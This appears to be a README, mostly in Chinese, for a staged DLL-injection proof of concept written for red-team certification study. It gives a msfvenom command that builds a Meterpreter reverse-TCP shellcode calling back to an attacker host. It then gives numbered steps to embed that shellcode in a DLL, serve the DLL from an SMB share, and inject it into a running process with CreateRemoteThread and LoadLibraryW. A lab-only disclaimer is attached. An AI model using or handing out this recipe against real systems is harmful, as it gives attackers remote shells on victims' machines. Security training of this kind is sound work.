
基于 C 语言并使用 Win32 API 构建的分阶段 DLL 注入概念验证——在隔离的实验室环境中开发,用于红队认证学习(CRTO)。
使用 C 语言和 Win32 API 构建的分阶段 DLL 注入概念验证——在隔离的实验室环境中开发,用于红队认证学习(CRTO)。
⚠️ 免责声明: 本项目严格在隔离的实验室环境中开发,仅用于教育目的,作为进攻性安全研究和认证学习(CRTO)的一部分。不应用于未经明确书面授权的任何系统。未经授权使用属非法且不道德的行为。
这是一个在 Windows 上实现分阶段 DLL 注入的概念验证,作为红队认证学习的一部分而构建。该项目演示了 stager 如何利用原生 Win32 API 将恶意 DLL 远程加载到目标进程中。 在允许内部网络 SMB 流量的 AD 环境中效果最佳,不建议在互联网上使用。
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>
phc.c)OpenProcess 打开目标进程的句柄VirtualAlloc 在目标进程内分配内存Kernel32 获取 LoadLibraryW 的地址CreateRemoteThread 生成远程线程,调用 LoadLibraryW,从远程 SMB 共享加载 DLLmaindll.dll)DllMain 在 DLL_PROCESS_ATTACH 时自动触发VirtualAlloc 分配可执行内存CreateThread 执行phc.exe → 打开目标进程 → 在目标进程中分配内存 → 通过 LoadLibraryW 从 SMB 共享加载 maindll.dll → DllMain 触发 → Shellcode 在目标进程内执行
CreateRemoteThread + LoadLibraryW 进行远程 DLL 注入DllMain 滥用 DLL 入口点在隔离的实验室环境中于 Windows 10 上测试。C2 监听器托管在 Kali Linux 上。